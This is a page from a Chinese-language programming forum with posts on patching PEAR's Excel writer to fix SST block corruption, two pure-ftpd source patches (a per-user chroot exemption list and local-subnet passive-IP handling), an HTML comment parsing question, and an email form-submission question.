不過, 我們發現, 在資料筆數較少, 檔案較小的時候, 運作十分正常. 不過, 當筆數大到一定的大小之後, 所產生的檔案, 使用 Microsoft Excel 打開時, 會出現損毀的情形, 其中的內容是正確無誤, 不過格式都會不見. (據說用 OpenOffice 打開時會告知是 SST 錯誤)

今天在 PEAR 的網站中, 看到幾個月之前, 有人提出了一個解決方法, 修改 Workbook.php 中的下列兩個 function 如下:

代碼: [選擇]
   /**
    * Calculate
    * Handling of the SST continue blocks is complicated by the need to include an
    * additional continuation byte depending on whether the string is split between
    * blocks or whether it starts at the beginning of the block. (There are also
    * additional complications that will arise later when/if Rich Strings are
    * supported).
    *
    * @access private
    */
    function _calculateSharedStringsSizes()
    {
        /* Iterate through the strings to calculate the CONTINUE block sizes.
           For simplicity we use the same size for the SST and CONTINUE records:
           8228 : Maximum Excel97 block size
             -4 : Length of block header
             -8 : Length of additional SST header information
    -8 : Arbitrary number to keep within _add_continue() limit
         = 8208
        */
        $continue_limit     = 8208;
        $block_length       = 0;
        $written            = 0;
        $this->_block_sizes = array();
        $continue           = 0;

        foreach (array_keys($this->_str_table) as $string) {
            $string_length = strlen($string);
$headerinfo    = unpack("vlength/Cencoding", $string);
$encoding      = $headerinfo["encoding"];
$split_string  = 0;

            // Block length is the total length of the strings that will be
            // written out in a single SST or CONTINUE block.
            $block_length += $string_length;

            // We can write the string if it doesn't cross a CONTINUE boundary
            if ($block_length < $continue_limit) {
                $written      += $string_length;
                continue;
            }

            // Deal with the cases where the next string to be written will exceed
            // the CONTINUE boundary. If the string is very long it may need to be
            // written in more than one CONTINUE record.
            while ($block_length >= $continue_limit) {

                // We need to avoid the case where a string is continued in the first
                // n bytes that contain the string header information.
                $header_length   = 3; // Min string + header size -1
                $space_remaining = $continue_limit - $written - $continue;


                /* TODO: Unicode data should only be split on char (2 byte)
                boundaries. Therefore, in some cases we need to reduce the
                amount of available
                */
$align = 0;

# Only applies to Unicode strings
if ($encoding == 1) {
# Min string + header size -1
$header_length = 4;

if ($space_remaining > $header_length) {
# String contains 3 byte header => split on odd boundary
if (!$split_string && $space_remaining % 2 != 1) {
$space_remaining--;
$align = 1;
}
# Split section without header => split on even boundary
else if ($split_string && $space_remaining % 2 == 1) {
$space_remaining--;
$align = 1;
}

$split_string = 1;
}
}


                if ($space_remaining > $header_length) {
                    // Write as much as possible of the string in the current block
                    $written      += $space_remaining;

                    // Reduce the current block length by the amount written
                    $block_length -= $continue_limit - $continue - $align;

                    // Store the max size for this block
                    $this->_block_sizes[] = $continue_limit - $align;

                    // If the current string was split then the next CONTINUE block
                    // should have the string continue flag (grbit) set unless the
                    // split string fits exactly into the remaining space.
                    if ($block_length > 0) {
                        $continue = 1;
                    } else {
                        $continue = 0;
                    }
                } else {
                    // Store the max size for this block
                    $this->_block_sizes[] = $written + $continue;

                    // Not enough space to start the string in the current block
                    $block_length -= $continue_limit - $space_remaining - $continue;
                    $continue = 0;

                }

                // If the string (or substr) is small enough we can write it in the
                // new CONTINUE block. Else, go through the loop again to write it in
                // one or more CONTINUE blocks
                if ($block_length < $continue_limit) {
                    $written = $block_length;
                } else {
                    $written = 0;
                }
            }
        }

        // Store the max size for the last block unless it is empty
        if ($written + $continue) {
            $this->_block_sizes[] = $written + $continue;
        }


        /* Calculate the total length of the SST and associated CONTINUEs (if any).
         The SST record will have a length even if it contains no strings.
         This length is required to set the offsets in the BOUNDSHEET records since
         they must be written before the SST records
        */

$tmp_block_sizes = array();
$tmp_block_sizes = $this->_block_sizes;

$length  = 12;
if (!empty($tmp_block_sizes)) {
$length += array_shift($tmp_block_sizes); # SST
}
while (!empty($tmp_block_sizes)) {
$length += 4 + array_shift($tmp_block_sizes); # CONTINUEs
}

return $length;
    }

    /**
    * Write all of the workbooks strings into an indexed array.
    * See the comments in _calculate_shared_string_sizes() for more information.
    *
    * The Excel documentation says that the SST record should be followed by an
    * EXTSST record. The EXTSST record is a hash table that is used to optimise
    * access to SST. However, despite the documentation it doesn't seem to be
    * required so we will ignore it.
    *
    * @access private
    */
    function _storeSharedStringsTable()
    {
        $record  = 0x00fc;  // Record identifier
$length  = 0x0008;  // Number of bytes to follow
$total   = 0x0000;

        // Iterate through the strings to calculate the CONTINUE block sizes
        $continue_limit = 8208;
        $block_length   = 0;
        $written        = 0;
        $continue       = 0;

        // sizes are upside down
$tmp_block_sizes = $this->_block_sizes;
//        $tmp_block_sizes = array_reverse($this->_block_sizes);

# The SST record is required even if it contains no strings. Thus we will
# always have a length
#
if (!empty($tmp_block_sizes)) {
$length = 8 + array_shift($tmp_block_sizes);
}
else {
# No strings
$length = 8;
}



        // Write the SST block header information
        $header      = pack("vv", $record, $length);
        $data        = pack("VV", $this->_str_total, $this->_str_unique);
        $this->_append($header . $data);




        /* TODO: not good for performance */
        foreach (array_keys($this->_str_table) as $string) {

            $string_length = strlen($string);
$headerinfo    = unpack("vlength/Cencoding", $string);
$encoding      = $headerinfo["encoding"];
            $split_string  = 0;

            // Block length is the total length of the strings that will be
            // written out in a single SST or CONTINUE block.
            //
            $block_length += $string_length;


            // We can write the string if it doesn't cross a CONTINUE boundary
            if ($block_length < $continue_limit) {
                $this->_append($string);
                $written += $string_length;
                continue;
            }

            // Deal with the cases where the next string to be written will exceed
            // the CONTINUE boundary. If the string is very long it may need to be
            // written in more than one CONTINUE record.
            //
            while ($block_length >= $continue_limit) {

                // We need to avoid the case where a string is continued in the first
                // n bytes that contain the string header information.
                //
                $header_length   = 3; // Min string + header size -1
                $space_remaining = $continue_limit - $written - $continue;


                // Unicode data should only be split on char (2 byte) boundaries.
                // Therefore, in some cases we need to reduce the amount of available
           // space by 1 byte to ensure the correct alignment.
           $align = 0;

// Only applies to Unicode strings
if ($encoding == 1) {
// Min string + header size -1
$header_length = 4;

if ($space_remaining > $header_length) {
// String contains 3 byte header => split on odd boundary
if (!$split_string && $space_remaining % 2 != 1) {
$space_remaining--;
$align = 1;
}
// Split section without header => split on even boundary
else if ($split_string && $space_remaining % 2 == 1) {
$space_remaining--;
$align = 1;
}

$split_string = 1;
}
}


                if ($space_remaining > $header_length) {
                    // Write as much as possible of the string in the current block
                    $tmp = substr($string, 0, $space_remaining);
                    $this->_append($tmp);

                    // The remainder will be written in the next block(s)
                    $string = substr($string, $space_remaining);

                    // Reduce the current block length by the amount written
                    $block_length -= $continue_limit - $continue - $align;

                    // If the current string was split then the next CONTINUE block
                    // should have the string continue flag (grbit) set unless the
                    // split string fits exactly into the remaining space.
                    //
                    if ($block_length > 0) {
                        $continue = 1;
                    } else {
                        $continue = 0;
                    }
                } else {
                    // Not enough space to start the string in the current block
                    $block_length -= $continue_limit - $space_remaining - $continue;
                    $continue = 0;
                }

                // Write the CONTINUE block header
                if (!empty($this->_block_sizes)) {
                    $record  = 0x003C;
                    $length  = array_shift($tmp_block_sizes);

                    $header  = pack('vv', $record, $length);
                    if ($continue) {
                        $header .= pack('C', $encoding);
                    }
                    $this->_append($header);
                }

                // If the string (or substr) is small enough we can write it in the
                // new CONTINUE block. Else, go through the loop again to write it in
                // one or more CONTINUE blocks
                //
                if ($block_length < $continue_limit) {
                    $this->_append($string);
                    $written = $block_length;
                } else {
                    $written = 0;
                }
            }
        }
    }


我們試用後, 目前看起來一切都正常.

26
以下是有關原 PHP 區有篇什麼 "搜尋引擎設計分享" 的回文, 希望原作者看了之後, 能改進一下, 能有所進步, 不要老是發一篇文就被看穿要做什麼了...

============================

這之前好像有發過...

但是... 分享什麼呢? 什麼 code 都看不到, 有教人家怎麼寫還是有公開原始碼嗎?

更重要的是, 找到的東西完全與你輸入要找的字串無關, 實在是太神奇了. 而且不管怎麼找, 找出來的都是那幾個網站.

這樣子的搜尋結果, 我看還是不要分享出來害了別人才好.

============================

PS. 其實還是比上一次有些進步, 上一次的不管怎麼找, 一定都是 MySQL 的錯誤訊息.

27
代碼: [選擇]
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="zh-TW" lang="zh-TW" dir="ltr">
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
<meta http-equiv="Content-Language" content="zh-TW" />
<title>test for Firefox</title>
</head>
<body>
<p>test</p>
<!--
 <abc x="123 --456 789"></abc>
-->
<p>test for -- in firefox</p>
</body>
</html>


上頭的 code, 因為有 -- 在註解裡頭.

在 IE 看是這樣子:
代碼: [選擇]
test
test for -- in firefox

在 Firefox 1.5, 2.0 下頭, 變成:
代碼: [選擇]
test
-->

test for -- in firefox


那一個才算是符合 html 的規範? IE 還是 firefox?

28
今天有使用者反應, 沒辦法收信了. 查了一下, 發現昨天使用 pureftpd 後, 要控制帳號登入時, 要做 chroot 的動作, 而這個動作是修改該帳號的 home directory 設定, 加上 /./ 來處理, 結果, dovecot 似乎無法對這樣的帳號來做 chroot.

看了一下 pureftpd 的參數, 發現有另一個參數 -A (--chrooteveryone) 可以將 root 除外的所有使用者都做 chroot 的處理. 不過我的需求是.... 某些帳號 (就是我自己) 不要做 chroot. 在以前使用 vsftpd 時, 可以用一個檔案來控制那些帳號可以不用 chroot, 所以就仿照這個 idea, 修改 pureftpd 來使用.
代碼: [選擇]
diff -Nur src.patch/ftpd.c src.patch2/ftpd.c
--- src.patch/ftpd.c 2006-06-12 22:52:37.590994047 +0800
+++ src.patch2/ftpd.c 2006-06-13 09:38:45.293442782 +0800
@@ -1573,6 +1573,31 @@
     return chdir(home);
 }
 
+// add by twu2 20060612 begin
+int is_no_chroot_user(char *username)
+{
+    FILE *fp;
+    char buf[1024];
+    char *p;
+    int match = 0;
+
+    if (username == NULL || *username == '\0') return 0;
+    fp = fopen("/etc/pure-ftpd/nochroot.user", "rt");
+    if (fp == NULL) return 0;
+    while (1) {
+        if (fgets(buf, 1024, fp) == NULL) break;
+        p = strtok(buf, " \t\r\n");
+        if (p == NULL) continue;
+        if (strcmp(p, username) == 0) {
+            match = 1;
+            break;
+        }
+    }
+    fclose(fp);
+    return match;
+}
+// add by twu2 20060612 end
+
 void dopass(char *password)
 {
     static unsigned int tapping;    
@@ -1798,6 +1823,10 @@
         addreply(0, MSG_RATIO, ratio_upload, ratio_download);
     }
 #endif
+// add by twu2 20060612 begin
+    if (userchroot == 2 && is_no_chroot_user(account))
+        userchroot = 0;
+// add by twu2 20060612 end
     if (userchroot != 0 && chrooted == 0) {
 #ifndef NON_ROOT_FTP
 # ifndef HAVE_SYS_FSUID_H

這個 patch 可以由這個抓取: http://www.teatime.com.tw/~tommy/mypatch/pureftpd_no_chroot_user.patch

程式會在使用 -A 參數時, 檢查 /etc/pure-ftpd/nochroot.user 的檔案內容, 使用帳號存在於這個檔案內, 就不做 chroot 的動作.

29
今天把伺服器中的 vsftpd 換成 pureftpd, 也順便把 TLS 的功能給加上. 發現在加上 TLS 之後, 無論是 active 還是 passive, 都無法取得檔案列表, 也無法傳送檔案了.

查了一下原因, 終於想到在用了 TLS 加密之後, 位於 firewall 後端的 ftp 伺服器, 在我使用的 netfilter 中, 就算加上 ftp 的模組, 也看不到加密的內容, 自然不會幫我做 ftp 協定中, 在 passive mode 所傳送的 ip 位置的轉換. 所以我在遠端看到的 ip 還是那台 ftp 伺服器的 local ip, 自然連不上了.

後來想說, 改成 active mode, 總應該可以吧. 但是.... 公司的 IPX 上頭, 在使用 active mode 連線時, 並不會把我這邊的 ip 轉換成遠端的 ip 再送出, 所以.... ftp 伺服器那端的程式, 想連到我機器的 local ip, 自然也連不上了. (如果你的 firewall 支援 active mode, 應該就不會有這個問題, 我回宿舍使用 adsl 時, 透過 wireless router 時, 使用 active mode 就可以正常連線)

查了一下 pureftpd 的文件, 發現可以使用 -P (--forcepassiveip) 來指定在 passive mode 時, 要使用的 ip, 加上 -p (--passiveportrange) 來指定使用的 port. 如此, 我只要在 firewall 上頭, 把這個 range 的 port 都轉向該主機, 就算 netfilter 看不懂那些加密的內容, 也可以讓我在遠端使用 TLS 來連線了.

原本看起來似乎解決了我的問題, 但是... 後來, 發現這樣處理之後, 在 local 端的機器如果連線之後, 使用 passive mode, 反而會收到所設定的那個外部 ip, 結果... 自然也無法取得資料. (我記得就算用外部的 ip 在內部網路連線, 我的 firewall 設定應該也會做 NAT 轉換來連線才對啊, 看來要找時間檢查看看)

所以... 就改了 pureftpd 的程式, 讓這個程式檢查 /etc/localnet 的內容, 看看遠端的ip 是否在同一個 subnet 之中, 如果是, 就不要使用 -P 所設定的參數. 這樣子似乎就解決了我的問題了.

這個 patch 如下:
代碼: [選擇]
diff -Nur src.orig/ftpd.c src.patch/ftpd.c
--- src.orig/ftpd.c 2006-06-12 18:44:25.000000000 +0800
+++ src.patch/ftpd.c 2006-06-12 22:52:37.590994047 +0800
@@ -405,6 +405,48 @@
     (void) title;
 }
 
+// add by twu2 20060612 begin
+// check local net in /etc/localnet
+static void check_local_net(const struct sockaddr_storage * const addr)
+{
+    FILE *fp;
+    unsigned long a1 = 0U;
+    unsigned long a2 = 0U;
+    unsigned long mask = 0U;
+    unsigned int b1, b2, b3, b4;
+    unsigned int m1, m2, m3, m4;
+    char buf[1024];
+
+    if (addr == NULL) return;
+    // only for IPV4 now
+    if (STORAGE_FAMILY(*addr) != AF_INET) return;
+    a1 = ntohl(STORAGE_SIN_ADDR(*addr));
+    fp = fopen("/etc/localnet", "rt");
+    // no localnet file
+    if (fp == NULL) return;
+    while (1) {
+        if (fgets(buf, 1024, fp) == NULL) break;
+        b1 = b2 = b3 = b4 = m1 = m2 = m3 = m4 = 0;
+        if ((sscanf(buf, "%u.%u.%u.%u/%u.%u.%u.%u", &b1, &b2, &b3, &b4, &m1, &m2, &m3, &m4) != 8) ||
+            b1 > 255U || b2 > 255U || b3 > 255U || b4 > 255U ||
+            (b1 | b2 | b3 | b4) == 0U ||
+            m1 > 255U || m2 > 255U || m3 > 255U || m4 > 255U ||
+            (m1 | m2 | m3 | m4) == 0U)
+            continue;
+        a2 = b1 << 24 | b2 << 16 | b3 << 8 | b4;
+        mask = m1 << 24 | m2 << 16 | m3 << 8 | m4;
+        // correct format
+        if ((a1 & mask) == (a2 & mask)) {
+            // same subnet
+            is_local = 1;
+            break;
+        }
+    }
+    fclose(fp);
+    return;
+}
+// add by twu2 20060612 end
+
 /* Check whether an address is valid, return 1 if ok, 0 otherwise.
  * Unfortunately, multicasting with the FTP protocol is impossible,
  * you have to use things like MTP instead. So prohibit multicast.
@@ -2123,7 +2165,11 @@
     }
     switch (psvtype) {
     case 0:
-        if (STORAGE_FAMILY(force_passive_ip) == 0) {
+// add by twu2 20060612 begin
+        // if the connection from local subnet, don't do force passive ip convert
+        //if (STORAGE_FAMILY(force_passive_ip) == 0) {
+        if (is_local || STORAGE_FAMILY(force_passive_ip) == 0) {
+// add by twu2 20060612 end
             a = ntohl(STORAGE_SIN_ADDR(dataconn));
         } else if (STORAGE_FAMILY(force_passive_ip) == AF_INET6) {
             (void) close(datafd);
@@ -4448,6 +4494,9 @@
         die(421, LOG_ERR, MSG_GETPEERNAME ": %s" , strerror(errno));
     }
     fourinsix(&peer);
+// add by twu2 20060612 begin
+    check_local_net(&peer);
+// add by twu2 20060612 end
     if (checkvalidaddr(&peer) == 0) {
         die(425, LOG_ERR, MSG_INVALID_IP);
     }
@@ -4486,6 +4535,9 @@
 #endif
     iptropize(&peer);
     logfile(LOG_INFO, MSG_NEW_CONNECTION, host);
+// add by twu2 20060612 begin
+    logfile(LOG_INFO, is_local == 1 ? "from local" : "from remote");
+// add by twu2 20060612 end
 
 #ifndef NO_BANNER
 # ifdef BORING_MODE
diff -Nur src.orig/globals.h src.patch/globals.h
--- src.orig/globals.h 2006-02-15 16:55:00.000000000 +0800
+++ src.patch/globals.h 2006-06-12 21:34:39.361685659 +0800
@@ -73,6 +73,9 @@
 GLOBAL0(signed char force_ls_a);
 GLOBAL0(struct sockaddr_storage peer);
 GLOBAL0(struct sockaddr_storage force_passive_ip);
+// add by twu2 20060612 begin
+GLOBAL(signed char is_local, 0);
+// add by twu2 20060612 end
 GLOBAL0(const char *force_passive_ip_s);
 GLOBAL0(unsigned short int peerdataport);
 GLOBAL0(double maxload);

這個 patch, 可以由這兒抓取: http://www.teatime.com.tw/~tommy/mypatch/pureftpd_no_force_passive_ip_for_local.patch

而 /etc/locanet 的內容, 就是 AAA.BBB.CCC.DDD/WWW.XXX.YYY.ZZZ 之類的格式. 如: 192.168.0.0/255.255.0.0

如果你有多個 local 網路, 就每行寫一個. (如果格式不對, 會被忽略)

30
不知道有沒有人有這樣的經驗?

我們試著把 html 經由 email 送出, 在 email reader 上頭可以正確的看到 form 上頭的元件, 但是當使用者 submit 時, 我們在 server 端的 php script, 並沒有收到任何 POST 變數.

試過 thunderbird, outlook, outlook express 都是如此.

不知有那個方法可以做到這個需求? 或者... 這是做不到的?

頁: [1] 2 3 4